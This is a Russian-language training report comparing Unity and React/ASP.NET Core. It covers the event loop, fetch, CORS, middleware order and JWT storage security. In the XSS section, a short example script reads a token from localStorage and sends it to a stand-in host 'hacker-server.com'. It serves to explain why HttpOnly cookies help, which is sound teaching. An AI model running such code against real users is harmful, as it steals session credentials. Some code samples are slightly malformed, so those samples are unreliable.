# Стратегический Отчет: Архитектурная Интеграция и Fullstack Безопасность (Фаза III)

## Введение: Эволюция Инженерной Парадигмы

Переход квалифицированного Unity-инженера в сферу Enterprise Web Development (Fullstack React/.NET) представляет собой фундаментальную трансформацию ментальных моделей, выходящую далеко за рамки синтаксических различий между C# и JavaScript. Данный отчет, разработанный в рамках "Фазы III" стратегического плана акселерации, представляет собой исчерпывающий анализ пятого дня обучения — критического этапа интеграции Frontend и Backend систем. Мы рассматриваем архитектурный ландшафт не как набор изолированных инструментов, а как сложную экосистему, где взаимодействие компонентов регулируется строгими протоколами безопасности и асинхронными потоками данных.1

Для разработчика, привыкшего к детерминированному миру игрового цикла (Game Loop), где каждый кадр является предсказуемым квантом времени, веб-среда предстает как хаотичная, событийно-ориентированная система. В Unity мы управляем временем и состоянием с точностью до миллисекунды внутри метода Update(). В браузере мы отдаем контроль среде выполнения, реагируя на события, возникающие в непредсказуемые моменты времени. Этот отчет деконструирует этот переход, фокусируясь на трех столпах современной веб-архитектуры: модели выполнения (Runtime), сетевом транспорте и безопасности идентичности.

Цель данного документа — предоставить сеньор-разработчику глубокое понимание механизмов, лежащих в основе интеграции React с ASP.NET Core API. Мы не просто рассмотрим "как" реализовать запрос, но и "почему" архитектура браузера требует таких механизмов, как CORS, Preflight-запросы и HttpOnly Cookies, и как эти концепции соотносятся с привычными паттернами разработки на Unity. Анализ опирается на технические спецификации V8, протоколы HTTP и стандарты безопасности OWASP, обеспечивая академическую точность и инженерную глубину.2

## 1. Архитектура Среды Выполнения: От Game Loop к Event Loop

Фундаментальное различие между Unity и React заключается в модели управления потоком выполнения. Понимание того, как код планируется и исполняется процессором, является ключом к написанию высокопроизводительных приложений на обеих платформах. Для Unity-разработчика, привыкшего к многопоточности C# и предсказуемому циклу PlayerLoop, JavaScript Event Loop требует радикального пересмотра подходов к асинхронности и управлению ресурсами.

### 1.1 Иллюзия Однопоточности и Истинная Конкурентность

В среде.NET CLR (и, соответственно, в Unity через Mono или IL2CPP) многопоточность является "гражданином первого класса". Разработчик имеет прямой доступ к созданию потоков через System.Threading.Thread, использование пула потоков ThreadPool или абстракций высокого уровня, таких как Task Parallel Library (TPL) и C# Job System. Это позволяет выносить тяжелые вычисления (физика, поиск пути, генерация мешей) на рабочие ядра процессора, оставляя главный поток свободным для рендеринга. В Unity architecture, даже сетевые запросы через UnityWebRequest делегируют передачу данных нативным потокам ОС, позволяя корутинам ожидать завершения без блокировки игры.4

JavaScript в браузере (движок V8) работает иначе. Спецификация языка определяет его как однопоточный. Это означает, что в каждый момент времени в одном контексте (вкладке браузера) может выполняться только одна операция JavaScript. Здесь нет эквивалента Thread.Sleep(), который приостановил бы выполнение потока, не заморозив при этом весь интерфейс. Попытка выполнить длительную синхронную операцию (например, сложный расчет в цикле while) приведет к полной блокировке UI, что эквивалентно бесконечному циклу внутри Update() в Unity, который вешает приложение.7

Однако называть браузер "однопоточным" было бы технически неверно. Браузер — это сложное многопоточное приложение, написанное на C++/Rust. Когда JavaScript вызывает асинхронную функцию, такую как fetch или setTimeout, движок V8 делегирует выполнение этой задачи Web API браузера. Эти API работают на отдельных, фоновых потоках, управляемых самим браузером, а не кодом разработчика. JavaScript-поток освобождается немедленно, продолжая выполнение следующей строки кода. Когда фоновая операция завершается, Web API помещает callback-функцию в очередь задач, ожидая, пока главный поток освободится для её выполнения.9

#### Сравнительный анализ моделей конкурентности

| **Характеристика** | **Unity (.NET/Mono/IL2CPP)** | **Browser (V8/JS Engine)** | **Архитектурное следствие** |
| --- | --- | --- | --- |
| **Основной механизм** | PlayerLoop (Циклический, кадровый) | Event Loop (Событийный) | В Unity код опрашивает состояние (Polling); в JS код реагирует на события. |
| **Параллелизм** | Истинная многопоточность (Task, Jobs) | Один поток JS + Web Workers + Web APIs | CPU-интенсивные задачи в JS требуют явного использования Web Workers во избежание фризов. |
| **Блокировка** | Синхронный IO блокирует поток, но возможен на Worker Thread | Синхронный IO невозможен (deprecated), вычисления блокируют UI | JS полагается исключительно на неблокирующие асинхронные API. |
| **Планирование** | Строгий порядок: FixedUpdate -> Update -> LateUpdate | Приоритетные очереди: Microtasks vs Macrotasks | Порядок выполнения в JS определяется типом задачи (Promise vs Timeout), а не фазой кадра. |
| **Синхронизация** | Monitor, Mutex, lock | Не требуется (один поток доступа к памяти) | Отсутствие гонок данных (race conditions) по памяти, но наличие логических гонок асинхронности. |

### 1.2 Анатомия Event Loop: Механика Внутренних Очередей

Event Loop — это оркестратор, который управляет выполнением кода, сбором событий и выполнением подзадач. Его можно сравнить с кастомным менеджером задач в Unity, который обрабатывает очередь делегатов (Action), но с гораздо более сложной системой приоритетов. Понимание этой системы критично для предсказания порядка выполнения кода, что является аналогом понимания "Script Execution Order" в Unity.11

Внутри Event Loop существуют две критически важные очереди, различие между которыми часто упускается: **Macrotask Queue** (Очередь задач) и **Microtask Queue** (Очередь микрозадач).

1. **Macrotasks (Task Queue):**
   * Сюда попадают колбэки от setTimeout, setInterval, событий ввода/вывода (I/O), UI-рендеринга.
   * **Аналогия с Unity:** Это похоже на Coroutine, которая возвращает управление и ожидает следующего вызова. Движок берет *одну* задачу из этой очереди, выполняет её до конца, а затем проверяет, нужно ли обновить рендеринг страницы.13
2. **Microtasks (Job Queue):**
   * Сюда попадают колбэки от Promise (.then, .catch, finally), async/await, и MutationObserver.
   * **Аналогия с Unity:** Это напоминает немедленное продолжение выполнения (Task.ContinueWith в том же контексте).
   * **Приоритет:** После выполнения *каждой* макрозадачи (и перед рендерингом), Event Loop обрабатывает *всю* очередь микрозадач до тех пор, пока она не станет пустой. Если микрозадача добавляет новую микрозадачу, она также будет выполнена в этом же цикле.
   * **Риск:** Бесконечная рекурсия микрозадач может полностью заблокировать Event Loop, не давая браузеру перерисовать страницу. Это "зависание" отличается от бесконечного while, но результат для пользователя идентичен.13

Сценарий выполнения кода:

Рассмотрим пример кода на JS, который демонстрирует приоритеты, и проведем параллель с Unity.

JavaScript

console.log('1. Start'); // Синхронный код  
  
setTimeout(() => {  
 console.log('2. Timeout'); // Macrotask  
}, 0);  
  
Promise.resolve().then(() => {  
 console.log('3. Promise'); // Microtask  
});  
  
console.log('4. End'); // Синхронный код

**Порядок вывода:** 1. Start -> 4. End -> 3. Promise -> 2. Timeout.

Почему Promise выполняется раньше setTimeout, хотя таймер установлен на 0мс? Потому что промисы — это микрозадачи. После завершения синхронного блока (завершения текущей макрозадачи "выполнение скрипта"), движок обязан очистить очередь микрозадач *перед* тем, как взять следующую макрозадачу (таймер). Для Unity-разработчика это аналогично тому, как логика в Update() выполняется перед LateUpdate() или перед рендерингом кадра. Понимание этого нюанса предотвращает множество ошибок, связанных с состоянием гонки (race conditions) при обновлении UI.15

### 1.3 Асинхронный Поток: Coroutines против Promises

Переход от Coroutine к Promise является, пожалуй, самым важным ментальным сдвигом. В Unity корутина — это итератор (IEnumerator), который сохраняет состояние выполнения. Механизм yield return приостанавливает функцию и передает управление движку Unity, который возобновляет выполнение в следующем кадре (или после завершения асинхронной операции, как UnityWebRequest).17

В современном JavaScript синтаксис async/await позволяет писать асинхронный код, который выглядит как синхронный, что очень напоминает линейную структуру корутин. Однако под капотом async функция всегда возвращает Promise — объект, представляющий будущее значение.

C#

// Подход Unity Coroutine  
IEnumerator FetchData() {  
 using (UnityWebRequest www = UnityWebRequest.Get("https://api.example.com")) {  
 yield return www.SendWebRequest(); // Приостановка выполнения  
 if (www.result == UnityWebRequest.Result.Success) {  
 Process(www.downloadHandler.text);  
 }  
 }  
}

JavaScript

// Подход React/JS Async/Await  
async function fetchData() {  
 try {  
 const response = await fetch("https://api.example.com"); // Приостановка, возврат управления Event Loop  
 if (response.ok) {  
 const data = await response.json(); // Еще одна асинхронная операция (чтение потока)  
 console.log(data);  
 }  
 } catch (error) {  
 console.error("Network Error:", error);  
 }  
}

Критическое различие заключается в обработке ошибок. В Unity внутри корутины исключения могут "проглатываться" или требовать явной проверки свойств isNetworkError / isHttpError. В JavaScript промисы имеют встроенный канал для ошибок (.catch), и async/await позволяет использовать стандартные блоки try/catch, делая обработку сетевых сбоев более естественной и похожей на синхронный C# код.10

## 2. Сетевая Архитектура: UnityWebRequest против Fetch API

Второй столп интеграции — это механизм, посредством которого клиентское приложение общается с внешним миром. Здесь мы сталкиваемся с фундаментальным различием между нативным приложением (Unity Build) и браузерным приложением (React App), работающим в песочнице.

### 2.1 Песочница Браузера и Ограничения Среды

UnityWebRequest (UWR) функционирует в контексте нативного приложения. Когда игра скомпилирована под Windows, iOS или Android, она имеет прямой доступ к сетевому стеку операционной системы. Она может открывать сырые TCP/UDP сокеты, использовать любые порты и обращаться к любым серверам (при условии разрешения файервола ОС). В этом контексте нет понятия "Same-Origin Policy" в том виде, в каком оно существует в вебе.20

Fetch API работает внутри строгой песочницы браузера. Это высокоуровневый API, который не дает прямого доступа к TCP-соединению. Он жестко ограничен политиками безопасности. Скрипт, загруженный с одного домена (Origin), по умолчанию не имеет права читать данные с другого домена. Это ограничение, известное как SOP (Same-Origin Policy), является главным препятствием для разработчиков, переходящих с десктопной разработки в веб. В Unity вы просто делаете запрос; в браузере вы должны "попросить разрешения" у сервера на чтение ответа.2

### 2.2 Уровни Абстракции: Императивный vs Функциональный

UnityWebRequest построен на императивной модели и паттерне "Dispatcher". Вы создаете объект запроса, настраиваете его, прикрепляете к нему компоненты DownloadHandler (для обработки входящих данных) и UploadHandler (для отправки), а затем запускаете процесс. Это объектно-ориентированный подход, где запрос — это агент, выполняющий работу и хранящий своё состояние.21

Fetch API следует функциональной парадигме и модели потоков (Streams). Вызов fetch возвращает промис, который разрешается в объект Response сразу после получения заголовков ответа (Time To First Byte), даже если тело ответа еще не загружено. Тело ответа представляет собой ReadableStream. Вы должны явно вызвать метод преобразования (например, .json() или .blob()), который сам по себе является асинхронным, так как он читает поток до конца.

Важное отличие в семантике ошибок:

В UnityWebRequest флаги isNetworkError (ошибка DNS, сокета) и isHttpError (статус 4xx/5xx) разделены, но часто обрабатываются вместе.

В fetch промис отклоняется (reject) только в случае сетевого сбоя (невозможность установить соединение). Если сервер вернул 500 Internal Server Error, fetch считает это успешным завершением HTTP-транзакции. Объект response будет иметь свойство ok: false и status: 500. Разработчик React обязан вручную проверять response.ok, иначе код попытается распарсить HTML-страницу с ошибкой как JSON, что приведет к исключению синтаксиса на этапе обработки данных, а не запроса.23

### 2.3 Паттерны Отмены Запросов: AbortController

В Unity управление жизненным циклом запросов часто привязано к жизненному циклу GameObject. Если объект уничтожается (OnDestroy), корутина, запущенная на нем, останавливается. Однако сам UnityWebRequest может продолжать висеть в памяти или в нативном потоке, если его явно не уничтожить методом .Dispose() или .Abort(). В Unity мы часто используем проверку на null или токены отмены (в UniTask), чтобы избежать ошибок при возврате данных в уничтоженный объект.24

В React компоненты монтируются и размонтируются динамически (например, при навигации пользователя). Если сетевой запрос завершается после того, как компонент был удален из DOM, попытка обновить состояние этого компонента (setState) приведет к утечке памяти или ошибке. Стандартным решением является **AbortController**.

AbortController создает объект signal, который передается в fetch. Если компонент размонтируется, мы вызываем controller.abort(). Это посылает сигнал браузеру немедленно прервать сетевое соединение (закрыть сокет) и отклонить промис с ошибкой типа AbortError.

JavaScript

// Паттерн использования в useEffect  
useEffect(() => {  
 const controller = new AbortController();  
   
 fetch(url, { signal: controller.signal })  
 .then(data => setData(data))  
 .catch(err => {  
 if (err.name === 'AbortError') {  
 console.log('Запрос отменен');  
 } else {  
 setError(err);  
 }  
 });  
  
 // Функция очистки (аналог OnDisable/OnDestroy)  
 return () => controller.abort();   
}, [url]);

Этот паттерн архитектурно идентичен использованию CancellationToken в асинхронном C# коде, гарантируя, что "мертвые" компоненты не потребляют ресурсы и не вызывают побочных эффектов.25

## 3. Невидимая Стена CORS: Протоколы Безопасности Браузера

CORS (Cross-Origin Resource Sharing) — это тема, вызывающая наибольшее количество фрустраций у разработчиков, мигрирующих с нативных платформ. В контексте десктопной игры, если вы хотите отправить запрос на сервер, вы просто отправляете его. В веб-контексте браузер выступает в роли строгого посредника, который проверяет каждое действие скрипта на соответствие политикам безопасности.

### 3.1 Same-Origin Policy (SOP): Основа Доверия

SOP — это фундаментальный механизм безопасности. Он гласит, что скрипты, загруженные с одного источника (Origin), не могут получать доступ к ресурсам другого источника без явного разрешения. "Источник" определяется кортежем: {Протокол, Хост, Порт}.

* http://localhost:3000 (React) и http://localhost:5000 (ASP.NET API) — это *разные* источники, так как отличаются порты.

Браузер предполагает, что любой внешний ресурс может содержать конфиденциальные данные пользователя (например, банковский интерфейс). Если бы SOP не существовало, злоумышленник мог бы создать сайт, который в фоновом режиме делает AJAX-запросы к bank.com (где пользователь залогинен) и читает баланс счета. SOP блокирует чтение ответа по умолчанию.2

### 3.2 Механика Preflight-запросов (OPTIONS)

Когда Unity-клиент подключается к серверу, происходит TCP-рукопожатие (Handshake). В вебе существует аналогичный концепт на уровне HTTP для кросс-доменных запросов — **Preflight Request**.

Запросы делятся на "Простые" (Simple) и "Сложные" (Complex). Простые запросы (GET/POST со стандартными заголовками) могут отправляться сразу. Однако современные SPA приложения практически всегда используют Сложные запросы. Критерии сложности:

* Использование метода PUT, DELETE или PATCH.
* Наличие кастомных заголовков, например, Authorization (для JWT) или X-API-Key.
* Тип контента application/json.

Когда React-приложение пытается отправить такой запрос, браузер автоматически приостанавливает его и отправляет предварительный запрос методом OPTIONS.

Этот запрос спрашивает сервер: "Я — скрипт с источника А. Я хочу отправить тебе запрос методом POST с заголовком Authorization. Ты разрешаешь это?".28

Сервер должен ответить статусом 200 или 204 и специальными заголовками:

* Access-Control-Allow-Origin: http://localhost:3000
* Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT
* Access-Control-Allow-Headers: Authorization, Content-Type
* Access-Control-Allow-Credentials: true (если используются куки).

Только после получения этого "разрешения" браузер отправляет фактический запрос с данными. Если сервер не настроен на обработку OPTIONS или не возвращает нужные заголовки, браузер блокирует запрос, и в консоли появляется ошибка CORS. Важно понимать: запрос *может* дойти до сервера и даже выполниться, но браузер *скроет* ответ от JavaScript кода.30

### 3.3 Конфигурация Middleware в ASP.NET Core

Для Unity-разработчика, создающего свой бэкенд на.NET, критически важно понимание порядка Middleware (промежуточного ПО) в Program.cs. ASP.NET Core обрабатывает запрос как конвейер.

Распространенная ошибка: Размещение app.UseCors() после app.UseAuthorization().

Последствие: Браузер отправляет Preflight (OPTIONS) запрос. Этот запрос не содержит токена авторизации (так как браузер еще не знает, можно ли его отправлять). Middleware авторизации видит запрос к защищенному ресурсу без токена и возвращает 401 Unauthorized. Браузер получает 401 на Preflight и блокирует основной запрос с ошибкой CORS (хотя проблема была в авторизации).

**Правильный порядок конвейера:**

1. **Routing** (app.UseRouting): Определение эндпоинта.
2. **CORS** (app.UseCors): Проверка источника и отправка CORS-заголовков. Это должно произойти *до* проверки безопасности пользователя, так как Preflight анонимен.
3. **Authentication** (app.UseAuthentication): Проверка токена (кто это?).
4. **Authorization** (app.UseAuthorization): Проверка прав (можно ли ему это?).
5. **Endpoints** (app.MapControllers): Выполнение бизнес-логики.

Этот порядок гарантирует, что "рукопожатие" CORS завершится успешно до того, как сервер начнет требовать учетные данные.32

## 4. Инженерия Безопасности Идентичности: JWT и Угрозы Веба

В разработке игр на Unity (особенно синглплеер) хранение сессии часто реализуется через PlayerPrefs или локальные файлы. Модель угроз здесь проста: мы защищаемся от пользователя, который хочет "взломать" свои сохранения. В вебе модель угроз кардинально иная: мы защищаем пользователя от *других* сайтов и скриптов, которые хотят украсть его личность (Identity Theft).

### 4.1 Ловушка LocalStorage и XSS Уязвимости

Самый простой способ сохранить JWT токен в React — записать его в localStorage. Это прямой аналог PlayerPrefs.SetString("token", jwt).

* **Механизм:** localStorage.setItem('token', jwt).
* **Угроза (XSS - Cross-Site Scripting):** LocalStorage доступен *любому* JavaScript коду, выполняемому на странице. Если ваше приложение подвержено XSS-атаке (например, вы отображаете комментарии пользователей без санитайзинга, или используете уязвимую npm-библиотеку), злоумышленник может внедрить скрипт.
* **Вектор атаки:**  
  JavaScript  
  // Вредоносный скрипт  
  const token = localStorage.getItem('token');  
  fetch('https://hacker-server.com/steal', { body: token });
* **Последствие:** Хакер получает полный доступ к аккаунту пользователя. В отличие от игр, где взлом влияет только на локальный прогресс, здесь речь идет о доступе к личным данным.35

### 4.2 Решение: HttpOnly Cookies

Чтобы защититься от кражи токена через XSS, необходимо сделать токен недоступным для JavaScript. Для этого используются **HttpOnly Cookies**.

* **Механизм:** Сервер отправляет токен не в теле ответа, а в заголовке Set-Cookie с флагом HttpOnly.
* **Безопасность:** Браузер сохраняет эту куку в защищенной области памяти. Свойство document.cookie в JS не покажет этот токен. Даже если на странице сработает вредоносный скрипт, он не сможет прочитать куку.
* **Транспорт:** Браузер автоматически прикрепляет эту куку к каждому запросу на тот же домен. Это работает на уровне сетевого стека браузера, прозрачно для React-кода.36

### 4.3 CSRF: Атака Подделки Запроса и Защита

Использование кук решает проблему XSS, но открывает вектор **CSRF (Cross-Site Request Forgery)**. Поскольку браузер *автоматически* отправляет куки, злоумышленник может создать сайт-ловушку.

**Сценарий атаки:**

1. Пользователь залогинен в вашем приложении (myapp.com), кука сессии установлена.
2. Пользователь переходит на evil-site.com.
3. На evil-site.com есть скрытая форма или скрипт, отправляющий POST запрос на myapp.com/api/delete-account.
4. Браузер видит запрос к myapp.com, автоматически прикрепляет к нему auth-куку и отправляет.
5. Сервер видит валидную куку и выполняет удаление аккаунта. Пользователь не совершал этого действия осознанно.

Защита: Атрибут SameSite

Современным стандартом защиты является атрибут SameSite у куки.

* SameSite=Strict: Кука отправляется *только* если запрос исходит с того же сайта, который установил куку. Это полностью блокирует CSRF, но может мешать при переходе по внешним ссылкам.
* SameSite=Lax: Кука не отправляется при кросс-доменных подзапросах (картинки, фреймы, AJAX POST), но отправляется при навигации верхнего уровня (когда пользователь кликает ссылку). Это разумный компромисс для большинства приложений.

**Рекомендация:** Для интеграции React и.NET API следует использовать **HttpOnly Cookies с SameSite=Strict**. Это обеспечивает эшелонированную защиту: токен невидим для скриптов (защита от XSS) и не отправляется с чужих сайтов (защита от CSRF).36

## 5. Архитектурные Паттерны: React Hooks как Сервисный Слой

В Unity мы часто используем паттерн **Singleton** (GameManager.Instance) или **Service Locator** для доступа к глобальным сервисам. Это удобно, но создает жесткую связность и проблемы с тестированием. В React синглтоны являются анти-паттерном, так как они выпадают из реактивного цикла обновлений UI. Вместо них мы используем **Custom Hooks**.

### 5.1 Деконструкция Синглтона

В Unity менеджер часто выглядит так:

C#

public class EventManager : MonoBehaviour {  
 public static EventManager Instance;  
 public List<EventData> Events;  
 public void Refresh() {... }  
}  
// Использование  
var data = EventManager.Instance.Events;

В React состояние должно быть локальным или передаваться через Context. Custom Hook (useEvents) выступает в роли фабрики, предоставляющей доступ к логике и состоянию.

### 5.2 Паттерн "Хук как Репозиторий"

Мы можем спроектировать "Сервисный Слой" на основе хуков, который инкапсулирует сложность fetch, AbortController, обработки ошибок и состояния загрузки. Это полный аналог класса-сервиса в DDD (Domain Driven Design), но адаптированный под функциональную природу React.

Пример реализации: useEvents

Этот хук скрывает детали HTTP-взаимодействия и предоставляет компоненту чистый API данных.

JavaScript

// src/features/calendar/hooks/useEvents.js  
import { useState, useEffect, useCallback } from 'react';  
import { apiClient } from '../api/client'; // Обертка над fetch/axios  
  
export const useEvents = (dateRange) => {  
 // Локальное состояние сервиса  
 const [events, setEvents] = useState();  
 const [isLoading, setIsLoading] = useState(false);  
 const [error, setError] = useState(null);  
  
 // useCallback гарантирует стабильность ссылки на функцию  
 const fetchEvents = useCallback(async () => {  
 const controller = new AbortController(); // Токен отмены  
 setIsLoading(true);  
 setError(null);  
  
 try {  
 // Вызов API с передачей сигнала отмены  
 const data = await apiClient.get('/events', {  
 params: dateRange,  
 signal: controller.signal  
 });  
 setEvents(data);  
 } catch (err) {  
 // Игнорируем ошибку отмены, обрабатываем остальные  
 if (err.name!== 'AbortError') {  
 setError(err.message);  
 }  
 } finally {  
 // Гарантированное сброс флага загрузки (если не отменено)  
 if (!controller.signal.aborted) {  
 setIsLoading(false);  
 }  
 }  
  
 // Функция очистки для useEffect (аналог OnDisable)  
 return () => controller.abort();  
 },); // Реактивная зависимость: при смене даты функция пересоздается  
  
 // Эффект автоматически запускает загрузку при изменении зависимости  
 useEffect(() => {  
 const cancel = fetchEvents();  
 return cancel; // React вызывает это при размонтировании  
 }, [fetchEvents]);  
  
 // Возвращаем "Контракт" сервиса  
 return { events, isLoading, error, refetch: fetchEvents };  
};

### 5.3 Сравнительная Архитектура: Реактивный Поток Данных

Этот подход демонстрирует сдвиг от архитектуры "Pull" (вытягивание) к "Push/Reactive" (реактивность).

* **Unity (Pull):** UI компонент в Update() опрашивает менеджер: text.text = Manager.Score.ToString(). Или подписывается на C# Event OnChange.
* **React (Reactive):** Компонент декларирует зависимость от хука useEvents. Когда меняется аргумент dateRange (состояние), хук *автоматически* перезапускается, выполняет запрос, обновляет стейт и заставляет компонент перерисоваться. UI является чистой функцией от состояния хука. Это исключает рассинхронизацию данных, свойственную ручному обновлению UI в Unity.40

## Заключение

Интеграция Unity-разработчика в Fullstack-среду — это упражнение в смене ограничений. В Unity вы ограничены бюджетом времени кадра (16мс) и сборщиком мусора. В React вы ограничены сетевой задержкой, песочницей безопасности браузера (CORS/SOP) и асинхронной природой DOM.

Понимание того, что **Event Loop** — это приоритезированная очередь задач, **Preflight** — это вежливое рукопожатие перед входом, а **HttpOnly Cookies** — это защищенное хранилище ключей, позволяет разработчику перенести свой опыт построения надежных систем в новую среду. Использование архитектуры **Custom Hooks** обеспечивает структурную строгость, аналогичную сервисным паттернам Unity, при этом полностью соответствуя реактивной парадигме современного веба. Эти знания формируют базу для создания безопасных, масштабируемых и производительных приложений корпоративного уровня.

#### Источники

1. Интенсив React для Backend Разработчика неделя 10
2. Cross-Origin Resource Sharing (CORS) - HTTP - MDN Web Docs, дата последнего обращения: декабря 6, 2025, <https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS>
3. JSON Web Token for Java - OWASP Cheat Sheet Series, дата последнего обращения: декабря 6, 2025, <https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html>
4. How does the C# "event loop" compare to the JavaScript "event loop"? - Stack Overflow, дата последнего обращения: декабря 6, 2025, <https://stackoverflow.com/questions/34710487/how-does-the-c-sharp-event-loop-compare-to-the-javascript-event-loop>
5. ThreadPool Class (System.Threading) - Microsoft Learn, дата последнего обращения: декабря 6, 2025, <https://learn.microsoft.com/en-us/dotnet/api/system.threading.threadpool?view=net-10.0>
6. Job system overview - Unity - Manual, дата последнего обращения: декабря 6, 2025, <https://docs.unity3d.com/6000.2/Documentation/Manual/job-system-overview.html>
7. Multi-Threaded Web Request In Unity Using UnityWebRequest And UnityWebRequestAsyncOperation - slidefactory, дата последнего обращения: декабря 6, 2025, <https://www.theslidefactory.com/post/multi-threaded-web-request-in-unity-using-unitywebrequest-and-unitywebrequestasyncoperation>
8. Is the event loop in Javascript executing in a separate thread? - Stack Overflow, дата последнего обращения: декабря 6, 2025, <https://stackoverflow.com/questions/31956007/is-the-event-loop-in-javascript-executing-in-a-separate-thread>
9. A Beginner's Guide to JavaScript's Single Thread and Event Loop - DEV Community, дата последнего обращения: декабря 6, 2025, <https://dev.to/fernandakipper/a-beginners-guide-to-javascripts-single-thread-and-event-loop-1a9h>
10. Understanding the JavaScript Event Loop: A Deep Dive | by Aditya Rajbhar | Medium, дата последнего обращения: декабря 6, 2025, <https://medium.com/@codebyaadi/understanding-the-javascript-event-loop-a-deep-dive-7702b8da1e9b>
11. Demystifying JavaScript Runtime Environment: Web API, Task Queue, and Event Loop, дата последнего обращения: декабря 6, 2025, <https://blazity.com/blog/demystifying-javascript-runtime-environment-web-api-task-queue-event-loop>
12. What Is An Event Loop IN Javascript: A Beginner Guide - F22 Labs, дата последнего обращения: декабря 6, 2025, <https://www.f22labs.com/blogs/what-is-an-event-loop-in-javascript-a-beginner-guide/>
13. Difference between microtask and macrotask within an event loop context - Stack Overflow, дата последнего обращения: декабря 6, 2025, <https://stackoverflow.com/questions/25915634/difference-between-microtask-and-macrotask-within-an-event-loop-context>
14. Using microtasks in JavaScript with queueMicrotask() - Web APIs | MDN, дата последнего обращения: декабря 6, 2025, <https://developer.mozilla.org/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide>
15. Understanding JavaScript: Threads, Event Loop, and Execution Model - Medium, дата последнего обращения: декабря 6, 2025, <https://medium.com/@differofeveryone/understanding-javascript-threads-event-loop-and-execution-model-31ab27cca2e8>
16. The JavaScript Event Loop — Deep Internals & Spec-Level Breakdown - Medium, дата последнего обращения: декабря 6, 2025, <https://medium.com/@s35919223/the-javascript-event-loop-deep-internals-spec-level-breakdown-2add546aac4b>
17. Unity WebRequest made Simple. HTTP Webrequest unity: | by santosh parihar | Medium, дата последнего обращения: декабря 6, 2025, <https://medium.com/@sonusprocks/unity-webrequest-made-simple-92d967a1b86c>
18. Difference between HttpClient and Unity's UnityWebRequest/WWW API - Stack Overflow, дата последнего обращения: декабря 6, 2025, <https://stackoverflow.com/questions/50160380/difference-between-httpclient-and-unitys-unitywebrequest-www-api>
19. Understanding Promises, Async/Await, and the Fetch API in JavaScript | by Walid Ezzat, дата последнего обращения: декабря 6, 2025, <https://medium.com/@walidelbourdiney25/understanding-promises-async-await-and-the-fetch-api-in-javascript-84b3ca37c3ee>
20. Web networking - Unity - Manual, дата последнего обращения: декабря 6, 2025, <https://docs.unity3d.com/6000.2/Documentation/Manual/webgl-networking.html>
21. Manual: UnityWebRequest - Unity, дата последнего обращения: декабря 6, 2025, <https://docs.unity.cn/560/Documentation/Manual/UnityWebRequest.html>
22. UnityWebRequest - Unity - Manual, дата последнего обращения: декабря 6, 2025, <https://docs.unity3d.com/540/Documentation/Manual/UnityWebRequest.html>
23. What exactly is the difference between the fetch API and a rest API? - Reddit, дата последнего обращения: декабря 6, 2025, <https://www.reddit.com/r/learnjavascript/comments/tt3m9o/what_exactly_is_the_difference_between_the_fetch/>
24. Scripting API: Networking.UnityWebRequest.Abort - Unity - Manual, дата последнего обращения: декабря 6, 2025, <https://docs.unity3d.com/6000.2/Documentation/ScriptReference/Networking.UnityWebRequest.Abort.html>
25. AbortController: abort() method - Web APIs - MDN Web Docs, дата последнего обращения: декабря 6, 2025, <https://developer.mozilla.org/en-US/docs/Web/API/AbortController/abort>
26. Learn AbortController with Examples - Never to look back again - DEV Community, дата последнего обращения: декабря 6, 2025, <https://dev.to/saurabh_raj_afaabe1844a4c/learn-abortcontroller-with-examples-never-to-look-back-again-38a3>
27. Cross-Origin Resource Sharing (CORS) | Articles - web.dev, дата последнего обращения: декабря 6, 2025, <https://web.dev/articles/cross-origin-resource-sharing>
28. What is CORS? - Cross-Origin Resource Sharing Explained - AWS, дата последнего обращения: декабря 6, 2025, <https://aws.amazon.com/what-is/cross-origin-resource-sharing/>
29. Preflight request - Glossary - MDN Web Docs, дата последнего обращения: декабря 6, 2025, <https://developer.mozilla.org/en-US/docs/Glossary/Preflight_request>
30. What is the motivation behind the introduction of preflight CORS requests? - Stack Overflow, дата последнего обращения: декабря 6, 2025, <https://stackoverflow.com/questions/15381105/what-is-the-motivation-behind-the-introduction-of-preflight-cors-requests>
31. Understanding CORS and Preflight Requests in APIs | by Bale - Medium, дата последнего обращения: декабря 6, 2025, <https://medium.com/@bloodturtle/understanding-cors-and-preflight-requests-in-apis-e088ae13b417>
32. Enable Cross-Origin Requests (CORS) in ASP.NET Core | Microsoft Learn, дата последнего обращения: декабря 6, 2025, <https://learn.microsoft.com/en-us/aspnet/core/security/cors?view=aspnetcore-10.0>
33. ASP.NET Core Middleware | Microsoft Learn, дата последнего обращения: декабря 6, 2025, <https://learn.microsoft.com/en-us/aspnet/core/fundamentals/middleware/?view=aspnetcore-10.0>
34. how are built-in middlewares like Cors ordered in the middleware? : r/dotnet - Reddit, дата последнего обращения: декабря 6, 2025, <https://www.reddit.com/r/dotnet/comments/1834pqj/how_are_builtin_middlewares_like_cors_ordered_in/>
35. JWT Storage in React: Local Storage vs Cookies Security Battle - Cyber Sierra, дата последнего обращения: декабря 6, 2025, <https://cybersierra.co/blog/react-jwt-storage-guide/>
36. Understanding Token Storage: Local Storage vs HttpOnly Cookies - Wisp CMS, дата последнего обращения: декабря 6, 2025, <https://www.wisp.blog/blog/understanding-token-storage-local-storage-vs-httponly-cookies>
37. HttpOnly - OWASP Foundation, дата последнего обращения: декабря 6, 2025, <https://owasp.org/www-community/HttpOnly>
38. Bypassing SameSite cookie restrictions | Web Security Academy - PortSwigger, дата последнего обращения: декабря 6, 2025, <https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions>
39. SameSite Flag against CSRF - Stack Overflow, дата последнего обращения: декабря 6, 2025, <https://stackoverflow.com/questions/65887695/samesite-flag-against-csrf>
40. Reusing Logic with Custom Hooks - React, дата последнего обращения: декабря 6, 2025, <https://react.dev/learn/reusing-logic-with-custom-hooks>
41. Building Custom Hooks Library in React - GeeksforGeeks, дата последнего обращения: декабря 6, 2025, <https://www.geeksforgeeks.org/reactjs/building-custom-hooks-library-in-react/>